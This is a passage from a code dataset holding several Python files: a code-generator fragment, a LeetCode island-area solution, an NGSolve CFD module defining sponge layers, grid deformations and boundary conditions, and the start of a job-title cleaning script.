ep.return_name\n\t\ttyp = ep.return_type\n\telif typ:\n\t\tmode = 'expand'\n\t\t# dct [ '_expand_payload' ] = templates [ 'EXPAND_PAYLOAD' ] % { '_fields': params, '_name': ep.return_name }\n\t\tdct['_expand_payload'] = ''\n\t\ttyp = ep.return_type\n\t\tvar_name = ep.return_name #'data'\n\telse:\n\t\tmode = 'no-expand'\n\t\tvar_name = ep.return_name\n\t\ttyp = ep.return_type\n\n\tdct['_var_name'] = var_name\n\tdct['type'] = type2typescript ( typ )\n\tif ep.is_array:\n\t\tdct['type'] += '[]'\n\n\tdct['module_name'] = mod.name\n\n\tfout.write(TEMPL['FUNCTION'] % dct)\n\n","repo_name":"fsoft72/flow2code","sub_path":"templates/liwe3-nextjs/gen_reducer_functions.py","file_name":"gen_reducer_functions.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"44244156466","text":"#--------------Problem: 695--------------\n\n\nclass Solution:\n def maxAreaOfIsland(self, grid: List[List[int]]) -> int:\n visited = set()\n maxArea = 0\n\n def countArea(i,j):\n if i < 0 or i >= len(grid) or j < 0 or j >= len(grid[0]) or grid[i][j] == 0 or (i,j) in visited:\n return 0\n visited.add((i,j))\n return (1 + countArea(i+1,j) + countArea(i-1,j) + countArea(i,j+1) + countArea(i,j-1))\n\n for i in range(len(grid)):\n for j in range(len(grid[0])):\n if grid[i][j]==1 and (i,j) not in visited:\n maxArea = max(maxArea,countArea(i,j))\n \n return maxArea\n\n#T.C. = O(m.n)","repo_name":"Divyansh3021/Data-Structures-and-Algorithm","sub_path":"Graphs/MaxAreaOfIsland.py","file_name":"MaxAreaOfIsland.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"38313196136","text":"from __future__ import annotations\nfrom ngsolve import *\nfrom collections import UserDict\nfrom typing import Any, NamedTuple\nimport abc\nimport numpy as np\n\nfrom .state import State\n\nimport logging\nlogger = logging.getLogger(\"DreAm.Regions\")\n\n\nclass DreamMesh:\n\n def __init__(self, mesh: Mesh) -> None:\n\n self._mesh = mesh\n self._bcs = BoundaryConditions(self.mesh.GetBoundaries())\n self._dcs = DomainConditions(self.mesh.GetMaterials())\n self._is_periodic = bool(mesh.GetPeriodicNodePairs(VERTEX))\n\n @property\n def mesh(self) -> Mesh:\n return self._mesh\n\n @property\n def dim(self) -> int:\n return self.mesh.dim\n\n @property\n def bcs(self) -> BoundaryConditions:\n return self._bcs\n\n @property\n def dcs(self) -> DomainConditions:\n return self._dcs\n\n @property\n def boundary_names(self) -> tuple[str]:\n return tuple(self.bcs)\n\n @property\n def domain_names(self) -> tuple[str]:\n return tuple(self.dcs)\n\n @property\n def is_grid_deformation(self) -> bool:\n return bool(self.dcs.grid_deformation)\n\n @property\n def is_periodic(self) -> bool:\n return self._is_periodic\n\n @property\n def highest_order_psponge(self) -> int:\n return max([sponge.order.high for sponge in self.dcs.psponge_layers.values()], default=0)\n\n def boundary(self, region: str) -> Region:\n return self.mesh.Boundaries(region)\n\n def domain(self, region: str) -> Region:\n return self.mesh.Materials(region)\n\n def pattern(self, sequence: list) -> str:\n return \"|\".join(sequence)\n\n def set_grid_deformation(self):\n grid = self.get_grid_deformation_function()\n self.mesh.SetDeformation(grid)\n\n def get_grid_deformation_function(self) -> GridFunction:\n return self._get_buffer_grid_function(self.dcs.GridDeformation)\n\n def get_sponge_weight_function(self) -> GridFunction:\n return self._get_buffer_grid_function(self.dcs.SpongeLayer)\n\n def get_psponge_weight_function(self) -> GridFunction:\n return self._get_buffer_grid_function(self.dcs.PSpongeLayer)\n\n def _get_buffer_grid_function(self, type) -> GridFunction:\n\n fes = type.fes(self.mesh, order=type.fes_order)\n if type is self.dcs.GridDeformation and self.is_periodic:\n fes = Periodic(fes)\n\n u, v = fes.TnT()\n buffer = GridFunction(fes)\n\n domains = self.dcs._get_condition(type)\n\n if domains:\n\n blf = BilinearForm(fes)\n blf += InnerProduct(u, v) * dx\n\n lf = LinearForm(fes)\n for domain, bc in domains.items():\n\n domain = self.domain(domain)\n\n if isinstance(bc, self.dcs.GridDeformation):\n lf += InnerProduct(bc.deformation_function(self.dim),\n v) * dx(definedon=domain, bonus_intorder=bc.bonus_int_order)\n else:\n lf += bc.weight_function * v * dx(definedon=domain, bonus_intorder=bc.bonus_int_order)\n\n blf.Assemble()\n lf.Assemble()\n\n buffer.vec.data = blf.mat.Inverse(fes.FreeDofs(), inverse=\"sparsecholesky\") * lf.vec\n\n else:\n buffer.vec[:] = 0\n logger.warning(f\"{type.__name__} has not been set in domain conditions! Returning zero GridFunction.\")\n\n return buffer\n\n\nclass BufferCoordinate(NamedTuple):\n\n start: float\n end: float\n coord: CF\n offset: float\n dim: int = 1\n\n @classmethod\n def x(cls, x0, xn, offset: float = 0.0):\n return cls(x0, xn, x, offset)\n\n @classmethod\n def y(cls, y0, yn, offset: float = 0.0):\n return cls(y0, yn, y, offset)\n\n @classmethod\n def z(cls, z0, zn, offset: float = 0.0):\n return cls(z0, zn, z, offset)\n\n @classmethod\n def xy(cls, xy0, xyn, offset: float = (0.0, 0.0)):\n return cls(xy0, xyn, (x, y), offset, dim=2)\n\n @classmethod\n def yz(cls, yz0, yzn, offset: float = (0.0, 0.0)):\n return cls(yz0, yzn, (y, z), offset, dim=2)\n\n @classmethod\n def zx(cls, zx0, zxn, offset: float = (0.0, 0.0)):\n return cls(zx0, zxn, (z, x), offset, dim=2)\n\n @classmethod\n def polar(cls,\n r0,\n rn,\n loc: tuple[float, float, float] = (0.0, 0.0, 0.0),\n axis: tuple[int, int, int] = (0, 0, 1)):\n\n loc = tuple(p for p, ax in zip(loc, axis) if ~bool(ax))\n coord = tuple(x_ for x_, ax in zip((x, y, z), axis) if ~bool(ax))\n\n r = sum([(x-x0)**2 for x, x0 in zip(coord, loc)])\n return cls(r0, rn, sqrt(r), loc, dim=1)\n\n @classmethod\n def spherical(cls,\n r0,\n rn,\n loc: tuple[float, float, float] = (0.0, 0.0, 0.0)):\n\n r = sum([(a-a0)**2 for a, a0 in zip((x, y, z), loc)])\n return cls(r0, rn, sqrt(r), dim=1)\n\n @property\n def length(self):\n if self.dim == 1:\n return abs(self.end - self.start)\n else:\n return tuple([abs(end - start) for end, start in zip(self.end, self.start)])\n\n def get(self, mirror: bool = False) -> CF:\n if self.dim == 1:\n\n # Geometry Tolerance!\n # Important to avoid steep downfall from 1 to 0\n\n geo_tol = 1e-3\n x = (self.coord - self.start)/(self.end - self.start)\n x = IfPos(x, IfPos(x-(1+geo_tol), 0, x), 0)\n\n if mirror:\n x += self.mirror().get(mirror=False)\n\n return x\n\n elif self.dim == 2:\n\n x = BufferCoordinate(self.start[0], self.end[0], self.coord[0], self.offset[0]).get(mirror)\n y = BufferCoordinate(self.start[1], self.end[1], self.coord[1], self.offset[1]).get(mirror)\n\n return x + y - x*y\n\n else:\n raise NotImplementedError()\n\n def mirror(self) -> BufferCoordinate:\n\n if self.start < self.end:\n if self.offset <= self.start:\n new_start = self.start - 2*(self.start - self.offset)\n new_end = self.end - 2*(self.end - self.offset)\n else:\n raise ValueError(\"Offset has to be smaller than Start\")\n\n elif self.start > self.end:\n if self.offset >= self.start:\n new_start = self.start + 2*(self.offset - self.start)\n new_end = self.end + 2*(self.offset - self.end)\n else:\n raise ValueError(\"Offset has to be bigger than Start\")\n\n return BufferCoordinate(new_start, new_end, self.coord, self.offset)\n\n def __call__(self, mirror: bool = False) -> CF:\n return self.get(mirror)\n\n\nclass SpongeWeight:\n\n @staticmethod\n def target_damping(dB: float, sponge_length: float, Mach_number: float, function_integral: float):\n if not dB < 0:\n raise ValueError(\"Target Dezibel must be smaller zero!\")\n return float(dB*(1-Mach_number**2)/(-40 * np.log10(np.exp(1))) * 1/(sponge_length * function_integral))\n\n @classmethod\n def constant(cls, sponge_length: float, Mach_number: float, dB: float = -40):\n return cls.target_damping(dB, sponge_length, Mach_number, 1)\n\n @classmethod\n def quadratic(cls, sponge_length: float, Mach_number: float, dB: float = -40):\n return cls.target_damping(dB, sponge_length, Mach_number, 1/3)\n\n @classmethod\n def cubic(cls, sponge_length: float, Mach_number: float, dB: float = -40):\n return cls.target_damping(dB, sponge_length, Mach_number, 1/4)\n\n @classmethod\n def penta(cls, sponge_length: float, Mach_number: float, dB: float = -40):\n return cls.target_damping(dB, sponge_length, Mach_number, 1/6)\n\n @classmethod\n def penta_smooth(cls, sponge_length: float, Mach_number: float, dB: float = -40):\n return cls.target_damping(dB, sponge_length, Mach_number, 0.5)\n\n\nclass SpongeFunction(NamedTuple):\n\n weight_function: CF\n order: int\n repr: str = u\"\\u03C3 f(x)\"\n\n @classmethod\n def constant(cls, weight: float = 1):\n \"\"\" SpongeFunction: \\u03C3 \"\"\"\n return cls(CF(weight), 0, u\"\\u03C3\")\n\n @classmethod\n def quadratic(cls, coord: BufferCoordinate, weight: float = 1, mirror: bool = False):\n \"\"\" SpongeFunction: \\u03C3 x² \"\"\"\n x = coord.get(mirror)\n func = weight * x**2\n order = 2 * coord.dim\n return cls(func, order, u\"\\u03C3 x²\")\n\n @classmethod\n def cubic(cls, coord: BufferCoordinate, weight: float = 1, mirror: bool = False):\n \"\"\" SpongeFunction: \\u03C3 x³ \"\"\"\n x = coord.get(mirror)\n func = weight * x**3\n order = 3 * coord.dim\n return cls(func, order, u\"\\u03C3 x³\")\n\n @classmethod\n def penta(cls, coord: BufferCoordinate, weight: float = 1, mirror: bool = False):\n \"\"\" SpongeFunction: \\u03C3 x\\u2075 \"\"\"\n x = coord.get(mirror)\n func = weight * x**5\n order = 5 * coord.dim\n return cls(func, order, u\"\\u03C3 x\\u2075\")\n\n @classmethod\n def penta_smooth(cls, coord: BufferCoordinate, weight: float = 1, mirror: bool = False):\n \"\"\" SpongeFunction: \\u03C3 (6x\\u2075 - 15x\\u2074 + 10x³) \"\"\"\n x = coord.get(mirror)\n func = weight * (6*x**5 - 15 * x**4 + 10 * x**3)\n order = 5 * coord.dim\n return cls(func, order, u\"\\u03C3 (6x\\u2075 - 15x\\u2074 + 10x³)\")\n\n def __repr__(self) -> str:\n return f\"{self.repr}\"\n\n\nclass GridDeformationFunction(NamedTuple):\n\n class _Mapping(abc.ABC):\n\n def __init__(self, coord: BufferCoordinate, mirror: bool = False, order: int = 1) -> None:\n\n if isinstance(coord, BufferCoordinate):\n if coord.dim != 1:\n raise ValueError(\"Buffercoordinate needs to be 1-dimensional\")\n\n self.coord = coord\n self.mirror = mirror\n self.order = order\n\n self._deformation = None\n\n @property\n def deformation(self):\n if self._deformation is None:\n self._deformation = self.get_deformation(self.mirror)\n return self._deformation\n\n @abc.abstractmethod\n def get_deformation(self, mirror: bool = False) -> CF: ...\n\n @abc.abstractmethod\n def mapping(self, x, mirror: bool = False) -> float: ...\n\n def deformed_length(self, coord: BufferCoordinate) -> float:\n start = self(coord.start)\n end = self(coord.end)\n return abs(end - start)\n\n @staticmethod\n def fixed_point_iteration(x0, func, iterations: int = 100, print_error: bool = False):\n for i in range(iterations):\n\n xn = func(x0)\n err = abs(xn - x0)\n\n if print_error:\n logger.info(f\"Fixpoint - It: {i:3d} - n+1: {xn:.5e} - n: {x0:.5e} - err: {err:.5e}\")\n\n x0 = xn\n\n if err < 1e-16:\n break\n return x0\n\n def __call__(self, x) -> float:\n return self.mapping(x)\n\n class Zero(_Mapping):\n\n def __init__(self, coord: BufferCoordinate) -> None:\n super().__init__(coord, False, order=0)\n\n def get_deformation(self, mirror: bool = False) -> CF:\n return 0\n\n def mapping(self, x) -> float:\n return x\n\n def __repr__(self) -> str:\n return \"0\"\n\n class Linear(_Mapping):\n\n def __init__(self, factor: float, coord: BufferCoordinate, mirror: bool = False) -> None:\n \"\"\" Linear mapping: factor * (x - x0) + x0 \"\"\"\n\n if not factor >= 1:\n raise ValueError(f\"Thickness has to be >= 1\")\n\n self.factor = factor\n super().__init__(coord, mirror, order=1)\n\n def get_deformation(self, mirror: bool = False) -> CF:\n\n def one_sided(coord: BufferCoordinate):\n D = coord.end - coord.start\n x_ = coord.get()\n return D * x_ * (self.factor - 1)\n\n def_ = one_sided(self.coord)\n if mirror:\n def_ += one_sided(self.coord.mirror())\n\n return def_\n\n def mapping(self, x, mirror: bool = False) -> float:\n coord = self.coord\n if mirror:\n coord = self.coord.mirror()\n return self.factor * (x - coord.start) + coord.start\n\n def __repr__(self) -> str:\n return \"a*x - x\"\n\n class ExponentialThickness(_Mapping):\n\n def __init__(self,\n factor: int,\n coord: BufferCoordinate,\n mirror: bool = False,\n order: int = 5) -> None:\n\n if not 1 < factor:\n raise ValueError(f\"Choose factor > 1\")\n\n self.factor = factor\n\n self._constants = None\n self._mirror_constants = None\n\n super().__init__(coord, mirror, order)\n\n @property\n def constants(self):\n if self._constants is None:\n self._constants = self._determine_deformation_constants(self.coord)\n return self._constants\n\n @property\n def mirror_constants(self):\n if self._mirror_constants is None:\n self._mirror_constants = self._determine_deformation_constants(self.coord.mirror())\n return self._mirror_constants\n\n def _determine_deformation_constants(self,\n coord: BufferCoordinate,\n iterations: int = 100,\n print_error: bool = False):\n D = coord.end - coord.start\n a = self.fixed_point_iteration(-D, lambda x: -D/(np.log(1 - self.factor*D/x)), iterations, print_error)\n c = -D/a\n return a, c\n\n def get_deformation(self, mirror: bool = False):\n\n def one_sided(coord: BufferCoordinate, constants):\n x_ = coord.get()\n D = coord.end - coord.start\n a, c = constants\n return a * (1 - exp(c*x_)) - D*x_\n\n def_ = one_sided(self.coord, self.constants)\n\n if mirror:\n def_ += one_sided(self.coord.mirror(), self.mirror_constants)\n\n return def_\n\n def mapping(self, x, mirror: bool = False) -> float:\n\n coord = self.coord\n a, c = self.constants\n if mirror:\n coord = self.coord.mirror()\n a, c = self.mirror_constants\n\n x_ = (x - coord.start)/(coord.end - coord.start)\n return float(a * (1 - np.exp(c * x_)) + coord.start)\n\n def __repr__(self) -> str:\n return \"a exp(c x) - x\"\n\n class ExponentialJacobian(_Mapping):\n\n def __init__(self,\n endpoint_jacobian: float,\n coord: BufferCoordinate,\n mirror: bool = False,\n order: int = 5) -> None:\n\n if not 0 < endpoint_jacobian < 1:\n raise ValueError(f\"Endpoint Jacobian has to be 0 < p < 1\")\n\n self.endpoint_jacobian = endpoint_jacobian\n\n self._constants = None\n self._mirror_constants = None\n\n super().__init__(coord, mirror, order)\n\n @property\n def constants(self):\n if self._constants is None:\n self._constants = self._determine_deformation_constants(self.coord)\n return self._constants\n\n @property\n def mirror_constants(self):\n if self._mirror_constants is None:\n self._mirror_constants = self._determine_deformation_constants(self.coord.mirror())\n return self._mirror_constants\n\n def _determine_deformation_constants(self, coord: BufferCoordinate):\n k = self.endpoint_jacobian/(self.endpoint_jacobian-1)\n D = coord.end - coord.start\n a = D * k\n c = -1/k\n return a, c\n\n def get_deformation(self, mirror: bool = False):\n\n def one_sided(coord: BufferCoordinate, constants):\n x_ = coord.get()\n D = coord.end - coord.start\n a, c = constants\n return a*(1 - exp(c*x_)) - D*x_\n\n def_ = one_sided(self.coord, self.constants)\n\n if mirror:\n def_ += one_sided(self.coord.mirror(), self.mirror_constants)\n\n return def_\n\n def mapping(self, x, mirror: bool = False) -> float:\n\n coord = self.coord\n a, c = self.constants\n if mirror:\n coord = self.coord.mirror()\n a, c = self.mirror_constants\n\n x_ = (x - coord.start)/(coord.end - coord.start)\n return float(a * (1 - np.exp(c * x_)) + coord.start)\n\n def __repr__(self) -> str:\n return \"a exp(c x) - x\"\n\n class TangensThickness(_Mapping):\n\n def __init__(self,\n factor: int,\n coord: BufferCoordinate,\n mirror: bool = False,\n order: int = 5) -> None:\n\n if not 1 < factor:\n raise ValueError(f\"Choose factor > 1\")\n\n self.factor = factor\n\n self._constants = None\n self._mirror_constants = None\n\n super().__init__(coord, mirror, order)\n\n @property\n def constants(self):\n if self._constants is None:\n self._constants = self._determine_deformation_constants(self.coord)\n return self._constants\n\n @property\n def mirror_constants(self):\n if self._mirror_constants is None:\n self._mirror_constants = self._determine_deformation_constants(self.coord.mirror())\n return self._mirror_constants\n\n def _determine_deformation_constants(self,\n coord: BufferCoordinate,\n iterations: int = 100,\n print_error: bool = False):\n D = coord.end - coord.start\n a = self.fixed_point_iteration(D, lambda x: D/np.arctan(self.factor * D/x), iterations, print_error)\n c = D/a\n return a, c\n\n def get_deformation(self, mirror: bool = False):\n\n def one_sided(coord: BufferCoordinate, constants):\n x_ = coord.get()\n D = coord.end - coord.start\n a, c = constants\n return a * tan(c * x_) - D*x_\n\n def_ = one_sided(self.coord, self.constants)\n\n if mirror:\n def_ += one_sided(self.coord.mirror(), self.mirror_constants)\n\n return def_\n\n def mapping(self, x, mirror: bool = False) -> float:\n\n coord = self.coord\n a, c = self.constants\n if mirror:\n coord = self.coord.mirror()\n a, c = self.mirror_constants\n\n x_ = (x - coord.start)/(coord.end - coord.start)\n return float(a * np.tan(c * x_) + coord.start)\n\n def __repr__(self) -> str:\n return \"a tan(c x) - x\"\n\n class TangensJacobian(_Mapping):\n\n def __init__(self,\n endpoint_jacobian: float,\n coord: BufferCoordinate,\n mirror: bool = False,\n order: int = 5) -> None:\n\n if not 0 < endpoint_jacobian < 1:\n raise ValueError(f\"Endpoint Jacobian has to be 0 < p < 1\")\n\n self.endpoint_jacobian = endpoint_jacobian\n\n self._constants = None\n self._mirror_constants = None\n\n super().__init__(coord, mirror, order)\n\n @property\n def constants(self):\n if self._constants is None:\n self._constants = self._determine_deformation_constants(self.coord)\n return self._constants\n\n @property\n def mirror_constants(self):\n if self._mirror_constants is None:\n self._mirror_constants = self._determine_deformation_constants(self.coord.mirror())\n return self._mirror_constants\n\n def _determine_deformation_constants(self, coord: BufferCoordinate):\n k = np.sqrt(self.endpoint_jacobian/(1-self.endpoint_jacobian))\n D = coord.end - coord.start\n a = D * k\n c = -1/k\n return a, c\n\n def get_deformation(self, mirror: bool = False):\n\n def one_sided(coord: BufferCoordinate, constants):\n x_ = coord.get()\n D = coord.end - coord.start\n a, c = constants\n return a * tan(c * x_) - D*x_\n\n def_ = one_sided(self.coord, self.constants)\n\n if mirror:\n def_ += one_sided(self.coord.mirror(), self.mirror_constants)\n\n return def_\n\n def mapping(self, x, mirror: bool = False) -> float:\n\n coord = self.coord\n a, c = self.constants\n if mirror:\n coord = self.coord.mirror()\n a, c = self.mirror_constants\n\n x_ = (x - coord.start)/(coord.end - coord.start)\n return float(a * np.tan(c * x_) + coord.start)\n\n def __repr__(self) -> str:\n return \"a tan(c x) - x\"\n\n x: _Mapping = Zero(x)\n y: _Mapping = Zero(y)\n z: _Mapping = Zero(z)\n\n\nclass Condition:\n\n def __init__(self, state: State = None) -> None:\n self.state = state\n\n def _check_value(self, val, name: str):\n if val is None:\n raise ValueError(f\"{name.capitalize()} can not be {None}\")\n\n def __str__(self) -> str:\n return self.__class__.__name__\n\n def __repr__(self) -> str:\n return repr(self.state)\n\n\nclass DomainConditions(UserDict):\n\n def __init__(self, domains) -> None:\n super().__init__({domain: {bc: None for bc in self._Domain.conditions} for domain in set(domains)})\n\n @property\n def pattern(self) -> str:\n return \"|\".join(self)\n\n @property\n def force(self) -> dict[str, Force]:\n return self._get_condition(self.Force)\n\n @property\n def initial_conditions(self) -> dict[str, Initial]:\n condition = self._get_condition(self.Initial)\n for domain in set(self).difference(set(condition)):\n logger.warn(f\"Initial condition for '{domain}' has not been set!\")\n return condition\n\n @property\n def sponge_layers(self) -> dict[str, SpongeLayer]:\n return self._get_condition(self.SpongeLayer)\n\n @property\n def psponge_layers(self) -> dict[str, PSpongeLayer]:\n psponge = self._get_condition(self.PSpongeLayer)\n psponge = dict(sorted(psponge.items(), key=lambda x: x[1].order.high))\n return psponge\n\n @property\n def grid_deformation(self) -> dict[str, GridDeformation]:\n return self._get_condition(self.GridDeformation)\n\n @property\n def perturbations(self) -> dict[str, Perturbation]:\n return self._get_condition(self.Perturbation)\n\n @property\n def pmls(self) -> dict[str, PML]:\n return self._get_condition(self.PML)\n\n class _Domain(Condition):\n\n conditions: list = []\n\n def __init_subclass__(cls) -> None:\n cls.conditions.append(cls)\n return super().__init_subclass__()\n\n class Force(_Domain):\n def __init__(self, state: State = None):\n super().__init__(state)\n\n class Initial(_Domain):\n def __init__(self, state: State):\n self._check_value(state.density, \"density\")\n self._check_value(state.velocity, \"velocity\")\n if state.all_thermodynamic_none:\n raise ValueError(\"A Thermodynamic quantity is required!\")\n super().__init__(state)\n\n class SpongeLayer(_Domain):\n\n fes: FESpace = L2\n fes_order: int = 0\n\n def __init__(self,\n state: State,\n *sponges: SpongeFunction) -> None:\n\n self._check_value(state.density, \"density\")\n self._check_value(state.velocity, \"velocity\")\n if state.all_thermodynamic_none:\n raise ValueError(\"A Thermodynamic quantity is required!\")\n super().__init__(state)\n\n self.sponges = sponges\n\n @property\n def bonus_int_order(self):\n return max([sponge.order for sponge in self.sponges])\n\n @property\n def weight_function(self):\n return sum([sponge.weight_function for sponge in self.sponges])\n\n class PSpongeLayer(_Domain):\n\n class SpongeOrder(NamedTuple):\n high: int\n low: int\n\n fes: FESpace = L2\n fes_order: int = 0\n\n def __init__(self,\n high_order: int,\n low_order: int,\n *sponges: SpongeFunction,\n state: State = None) -> None:\n\n if high_order < 0 or low_order < 0:\n raise ValueError(\"Negative polynomial order!\")\n\n if high_order == low_order:\n if state is None:\n raise ValueError(\"For equal order polynomials a state is required\")\n else:\n self._check_value(state.density, \"density\")\n self._check_value(state.velocity, \"velocity\")\n if state.all_thermodynamic_none:\n raise ValueError(\"A Thermodynamic quantity is required!\")\n elif not high_order > low_order:\n raise ValueError(\"Low Order must be smaller than High Order\")\n\n super().__init__(state)\n\n self.order = self.SpongeOrder(int(high_order), int(low_order))\n self.sponges = sponges\n\n @property\n def is_equal_order(self) -> bool:\n return self.order.high == self.order.low\n\n @property\n def bonus_int_order(self) -> int:\n return max([sponge.order for sponge in self.sponges])\n\n @property\n def weight_function(self) -> CF:\n return sum([sponge.weight_function for sponge in self.sponges])\n\n @classmethod\n def range(cls, highest, lowest: int = 0, step: int = 1) -> tuple[SpongeOrder, ...]:\n range = np.arange(highest, lowest - 2*step, -step)\n range[range < lowest] = lowest\n return tuple(cls.SpongeOrder(int(high), int(low)) for high, low in zip(range[:-1], range[1:]))\n\n def __repr__(self) -> str:\n return f\"(High: {self.order.high}, Low: {self.order.low}, State: {self.state})\"\n\n class GridDeformation(_Domain):\n\n fes: FESpace = VectorH1\n fes_order: int = 1\n\n def __init__(self, mapping: GridDeformationFunction) -> None:\n if not isinstance(mapping, GridDeformationFunction):\n raise TypeError()\n self.mapping = mapping\n\n @property\n def bonus_int_order(self) -> int:\n return max([x.order for x in self.mapping])\n\n def deformation_function(self, dim: int) -> CF:\n deformation = tuple(map.deformation for map in self.mapping)\n return CF(deformation[:dim])\n\n def __repr__(self) -> str:\n return repr(self.mapping)\n\n class Perturbation(_Domain):\n ...\n\n class PML(_Domain):\n ...\n\n def set(self, condition: _Domain, domain: str = None):\n if not isinstance(condition, self._Domain):\n raise TypeError(f\"Domain Condition must be instance of {self._Domain}\")\n\n if domain is None:\n domains = tuple(self)\n elif isinstance(domain, str):\n domain = domain.split(\"|\")\n\n domains = set(self).intersection(domain)\n missed = set(domain).difference(domains)\n\n for miss in missed:\n logger.warning(f\"Domain {miss} does not exist! {condition} can not be set!\")\n else:\n domains = tuple(domain)\n\n for domain in domains:\n self[domain][type(condition)] = condition\n\n def set_from_dict(self, other: dict[str, _Domain]):\n for key, bc in other.items():\n self.set(bc, key)\n\n def _get_condition(self, type: _Domain) -> dict[str, _Domain]:\n return {domain: bc[type] for domain, bc in self.items() if isinstance(bc[type], type)}\n\n\nclass BoundaryConditions(UserDict):\n\n def __init__(self, boundaries) -> None:\n super().__init__({boundary: None for boundary in set(boundaries)})\n\n @property\n def pattern(self) -> str:\n keys = [key for key, bc in self.items() if isinstance(bc, self._Boundary) and not isinstance(bc, self.Periodic)]\n return \"|\".join(keys)\n\n @property\n def nscbc(self) -> dict[str, Outflow_NSCBC]:\n return {name: bc for name, bc in self.items() if isinstance(bc, self.Outflow_NSCBC)}\n\n class _Boundary(Condition):\n ...\n\n class Dirichlet(_Boundary):\n def __init__(self, state: State):\n self._check_value(state.density, \"density\")\n self._check_value(state.velocity, \"velocity\")\n if state.all_thermodynamic_none:\n raise ValueError(\"A Thermodynamic quantity is required!\")\n super().__init__(state)\n\n class FarField(_Boundary):\n def __init__(self, state: State):\n self._check_value(state.density, \"density\")\n self._check_value(state.velocity, \"velocity\")\n if state.all_thermodynamic_none:\n raise ValueError(\"A Thermodynamic quantity is required!\")\n super().__init__(state)\n\n class Outflow(_Boundary):\n def __init__(self, pressure: float):\n state = State(pressure=pressure)\n self._check_value(state.pressure, \"pressure\")\n super().__init__(state)\n\n class Outflow_NSCBC(_Boundary):\n\n def __init__(self,\n pressure: float,\n sigma: float = 0.25,\n reference_length: float = 1,\n tangential_convective_fluxes: bool = True,\n tangential_viscous_fluxes: bool = True,\n normal_viscous_fluxes: bool = False) -> None:\n\n state = State(pressure=pressure)\n self._check_value(state.pressure, \"pressure\")\n super().__init__(state)\n\n self.sigma = sigma\n self.reference_length = reference_length\n self.tang_conv_flux = tangential_convective_fluxes\n self.tang_visc_flux = tangential_viscous_fluxes\n self.norm_visc_flux = normal_viscous_fluxes\n\n class InviscidWall(_Boundary):\n def __init__(self) -> None:\n super().__init__()\n\n class Symmetry(_Boundary):\n def __init__(self) -> None:\n super().__init__()\n\n class IsothermalWall(_Boundary):\n def __init__(self, temperature: CF) -> None:\n state = State(temperature=temperature)\n self._check_value(state.temperature, \"temperature\")\n super().__init__(state)\n\n class AdiabaticWall(_Boundary):\n def __init__(self) -> None:\n super().__init__()\n\n class Periodic(_Boundary):\n def __init__(self) -> None:\n super().__init__()\n\n class Custom(_Boundary):\n def __init__(self, state: State) -> None:\n super().__init__(state)\n\n def set(self, condition: _Boundary, boundary: str):\n if not isinstance(condition, self._Boundary):\n raise TypeError(f\"Boundary Condition must be instance of {self._Boundary}\")\n\n if isinstance(boundary, str):\n boundary = boundary.split(\"|\")\n\n boundaries = set(self).intersection(boundary)\n missed = set(boundary).difference(boundaries)\n\n for miss in missed:\n logger.warning(f\"Boundary {miss} does not exist! {condition} can not be set!\")\n\n for key in boundaries:\n self[key] = condition\n\n def set_from_dict(self, other: dict[str, _Boundary]):\n for key, bc in other.items():\n self.set(bc, key)\n\n\nif __name__ == \"__main__\":\n ...\n","repo_name":"plederer/dream_solver","sub_path":"dream/region.py","file_name":"region.py","file_ext":"py","file_size_in_byte":32069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"28728161065","text":"import os\r\nimport re\r\nimport sys\r\nimport platform\r\nimport shutil\r\nimport enchant, difflib\r\nimport io\r\n\r\nd = enchant.DictWithPWL(\"en_US\", 'myPWL.txt')\r\n\r\n#...............................................#\r\n# This python module cleans titles\r\n# (1.) substitute word-by-word: includes plural => singular, abbrevations...\r\n# (2.) substitute phrases\r\n# (3.) general plural to singular transformation\r\n#...............................................#\r\n\r\ndef WordSubstitute(InputString, word_substitutes):\r\n # This function makes word-by-word substitutions (See: word_substitutes.csv)\r\n # For each row, everything in the second to last column will be substituted with the first column\r\n # Example, one row reads \"assistant | assistants | asst | asst. | assts\"\r\n # If any word is \"assistants\", \"asst.\" or \"assts\" is found, it will be substituted with simply \"assistant\" \r\n\r\n InputTokens = [w for w in re.split('\\s|-', InputString.lower()) if not w=='']\r\n \r\n ListBase = [re.split(',', w)[0] for w in word_substitutes] # list of everything in the first column\r\n \r\n RegexList = ['|'.join(['\\\\b'+y+'\\\\b' for y in re.split(',', w)[1:] if not y=='']) for w in word_substitutes]\r\n # regular expressions of everyhing in the second to last column\r\n \r\n OutputTokens = InputTokens[:] #copying the output from input\r\n \r\n for tokenInd in range(0,len(OutputTokens)):\r\n token = OutputTokens[tokenInd] # (1) For each word...\r\n for regexInd in range(0,len(RegexList)): \r\n regex = RegexList[regexInd] # (2) ...for each set of regular expressions...\r\n baseForm = ListBase[regexInd] \r\n if re.findall(re.compile(regex),token): # (3) ...if the word contains in the set of regular expressions... \r\n OutputTokens[tokenInd] = baseForm # (4) ...the word becomes that baseForm = value of the first column.\r\n return ' '.join(OutputTokens)\r\n\r\n#...............................................#\r\n\r\ndef PhraseSubstitute(InputString, phrase_substitutes):\r\n # This function makes phrases substitutions (See: phrase_substitutes.csv)\r\n # The format is similar to word_substitutes.csv \r\n # Example: 'assistant tax mgr' will be substituted with 'assistant tax manager'\r\n \r\n ListBase = [re.split(',',w)[0] for w in phrase_substitutes]\r\n RegexList = ['|'.join(['\\\\b'+y+'\\\\b' for y in re.split(',',w)[1:] if not y=='']) for w in phrase_substitutes]\r\n \r\n OutputString = InputString.lower()\r\n\r\n # Unlike WordSubstitute(.) function, this one looks at the whole InputString and make substitution.\r\n\r\n for regexInd in range(0,len(RegexList)):\r\n regex = RegexList[regexInd]\r\n baseForm = ListBase[regexInd]\r\n if re.findall(re.compile(regex),InputString):\r\n OutputString = re.sub(re.compile(regex),baseForm,InputString)\r\n return OutputString\r\n\r\n#...............................................#\r\n\r\ndef SingularSubstitute(InputString):\r\n # This function performs general plural to singular transformation\r\n # Note that several frequently appeared words would have been manually typed in \"word_substitutes.csv\" \r\n\r\n InputTokens = [w for w in re.split(' ', InputString.lower()) if not w=='']\r\n OutputTokens = InputTokens[:] #initialize output to be exactly as input\r\n \r\n for tokenInd in range(0,len(OutputTokens)):\r\n \r\n token = OutputTokens[tokenInd]\r\n corrected_token = ''\r\n\r\n if d.check(token): # To be conservative, only look at words that d.check(.) is true\r\n if 